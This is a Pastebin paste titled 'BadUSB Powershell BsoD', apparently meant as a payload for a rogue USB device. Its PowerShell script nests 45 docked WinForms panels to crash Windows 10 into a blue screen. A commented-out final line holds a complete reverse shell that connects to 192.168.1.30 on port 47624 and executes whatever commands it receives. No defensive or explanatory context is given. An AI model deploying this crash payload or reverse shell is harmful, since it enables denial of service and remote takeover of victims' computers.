Advertisement
McMrARM

BadUSB Powershell BsoD

Aug 4th, 2017
117
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. # From https://stackoverflow.com/questions/43583651/windows-10-creators-updates-breaks-winforms-apps-bsod
  2. # (This can be copy pasted into Powershell)
  3. [System.Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms")
  4. $form = new-object System.Windows.Forms.Form
  5. $lastPanel = $form
  6. for($i = 0; $i -lt 45; $i++) {
  7.   $newPanel = new-object System.Windows.Forms.Panel
  8.   $newPanel.Dock = [System.Windows.Forms.DockStyle]::Fill
  9.   $lastPanel.Controls.Add($newPanel)
  10.   $lastPanel = $newPanel
  11. }
  12. $form.ShowDialog()
  13. # Then move the mouse on the window
  14.  
  15. #$client = New-Object System.Net.Sockets.TCPClient("192.168.1.30",47624);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement